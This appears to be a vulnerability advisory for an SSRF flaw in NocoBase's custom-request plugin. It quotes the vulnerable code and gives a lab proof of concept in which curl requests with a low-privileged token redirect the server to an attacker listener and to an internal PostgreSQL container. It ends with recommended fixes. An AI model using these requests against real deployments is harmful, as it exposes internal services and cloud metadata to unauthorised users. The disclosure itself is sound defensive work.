CVE-2026-79914: NocoBase: SSRF in customRequests:send via runtime options.url override

Summary

A Server-Side Request Forgery vulnerability exists in NocoBase v2.1.10 in the @nocobase/plugin-action-custom-request plugin.

A low-privileged authenticated user can call the customRequests:send endpoint and override the stored request URL at runtime using options.url. This causes the NocoBase server to perform outbound HTTP requests to attacker-controlled or internal URLs.

Product: NocoBase Version: v2.1.10 Component: @nocobase/plugin-action-custom-request Severity: Moderate Required privilege: authenticated low-privileged user / member

Testing was performed only in a local Docker lab environment at http://127.0.0.1:13000. No public NocoBase instance was tested.

Lab environment:

Docker image: nocobase/nocobase:latest-full Commit: 23e2bd35625439594e4757bac31d57c9e8e695b9 Database: PostgreSQL 16 Containers: nocobase-lab, nocobase-postgres Docker network: 172.19.0.0/16 Important environment variable: SERVERREQUESTWHITELIST was not set

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Details

The vulnerable endpoint is:

http POST /api/customRequests:send?filterByTk=<key>

The customRequests:send action is allowed for any logged-in user:

ts // plugin-action-custom-request/src/server/plugin.ts this.app.acl.allow('customRequests', ['send', 'listByCurrentRole'], 'loggedIn');

The request options supplied at runtime are merged into the stored request configuration. This allows a low-privileged user to override the stored URL:

ts // plugin-action-custom-request/src/server/actions/send.ts const mergedOptions = { ...(requestConfig.options || {}), ...omitNullAndUndefined(runtimeOptions || {}), };

const { url, ...options } = mergedOptions;

The URL is therefore attacker-controlled when the low-privileged user sends a request body such as:

json { "options": { "url": "http://attacker-controlled-host:18080/ssrf-proof", "method": "GET" } }

If SERVERREQUESTWHITELIST is not configured, the server-side request whitelist check is bypassed:

ts // packages/core/utils/src/server-request.ts const whitelist = process.env.SERVERREQUESTWHITELIST;

if (!whitelist || !whitelist.trim()) return;

As a result, a low-privileged authenticated user can force the NocoBase server to make arbitrary outbound HTTP requests.

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PoC

Step 1: Admin creates a valid Custom Request config

First, an administrator creates a valid Custom Request config. This is a setup step only.

bash BASE="http://127.0.0.1:13000"

curl -i -s -X POST "$BASE/api/customRequests:create" \ -H "Authorization: Bearer <ADMINTOKEN>" \ -H "Content-Type: application/json" \ --data '{ "key": "report-ssrf-demo", "options": { "url": "https://www.example.com/", "method": "GET" } }'

Expected result:

http HTTP/1.1 200 OK

If the key already exists, this setup step can be skipped.

Evidence:

<img width="1467" height="619" alt="Admin creates Custom Request config" src="https://github.com/user-attachments/assets/77804709-ac83-479b-a99a-e1da531bb6d6" />

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Step 2: Start an attacker-controlled HTTP listener

On the attacker-controlled host in the local lab:

bash mkdir -p /tmp/ssrf-poc cd /tmp/ssrf-poc echo "SSRF OK - request came from NocoBase server" > ssrf-proof python3 -m http.server 18080 --bind 0.0.0.0

Example attacker host IP in the local lab:

text 192.168.1.139

Evidence:

<img width="888" height="195" alt="image" src="https://github.com/user-attachments/assets/8360b4cc-c00d-42ae-a9e8-09125b126e89" />

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Step 3: Low-privileged user triggers SSRF by overriding options.url

The low-privileged user calls customRequests:send and overrides options.url at runtime:

bash BASE="http://127.0.0.1:13000" KALIIP="192.168.1.139"

curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo" \ -H "Authorization: Bearer <LOWPRIVTOKEN>" \ -H "Content-Type: application/json" \ --data "{ \"options\": { \"url\": \"http://$KALIIP:18080/ssrf-proof\", \"method\": \"GET\" } }"

Expected response:

http HTTP/1.1 200 OK

SSRF OK - request came from NocoBase server

Evidence:

<img width="959" height="570" alt="Low-privileged user triggers SSRF" src="https://github.com/user-attachments/assets/100ec9b5-005b-4322-90a7-f5018bf2ab77" />

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Step 4: Attacker-controlled listener receives the server-side request

The attacker-controlled HTTP listener receives:

text GET /ssrf-proof HTTP/1.1

This proves that the HTTP request was made by the NocoBase server as a result of the low-privileged user's API request.

Evidence:

<img width="744" height="206" alt="Listener receives GET /ssrf-proof" src="https://github.com/user-attachments/assets/c26f89d4-88b4-46c2-a2fa-722e64899051" />

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Step 5: Internal service reachability test

The same low-privileged user can target an internal Docker service:

bash curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo" \ -H "Authorization: Bearer <LOWPRIVTOKEN>" \ -H "Content-Type: application/json" \ --data '{ "options": { "url": "http://nocobase-postgres:5432/", "method": "GET" } }'

Observed response:

json {"message":"socket hang up"}

This indicates that the NocoBase server attempted to connect to the internal PostgreSQL container. PostgreSQL does not speak HTTP, so the connection is closed, but the internal reachability is confirmed.

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Impact

A low-privileged authenticated user can force the NocoBase server to perform arbitrary outbound HTTP requests.

Potential impact includes:

internal service enumeration access to services only reachable from the server-side network Docker host gateway reachability testing reading responses from internal HTTP services when response bodies are returned potential access to cloud metadata endpoints in cloud deployments if not otherwise blocked use of the NocoBase server as a trusted network proxy

Confirmed in the local lab:

attacker-controlled HTTP listener received a request from the NocoBase server internal PostgreSQL container nocobase-postgres:5432 was reachable Docker host gateway reachability was confirmed

This can expose internal-only services to low-privileged users and can become more severe in cloud or production deployments where internal APIs, metadata services, or trusted network services are reachable from the NocoBase server.

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Recommended Fix

1. Restrict customRequests:send to administrators or specifically authorized roles.

diff - this.app.acl.allow('customRequests', ['send'], 'loggedIn'); + this.app.acl.allow('customRequests', ['send'], 'admin');

2. Do not allow low-privileged users to override stored request URLs at runtime.

3. Require SERVERREQUESTWHITELIST by default in production Docker images.

4. Block private/internal IP ranges by default, including:

text 127.0.0.0/8 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 169.254.0.0/16 ::1/128 fc00::/7

5. Resolve DNS and validate the final resolved IP address before making the outbound request.

6. Revalidate the target after redirects.

7. Add SSRF regression tests for:

text localhost 127.0.0.1 Docker service names private IP ranges Docker gateway IP 169.254.169.254 redirects to private IP ranges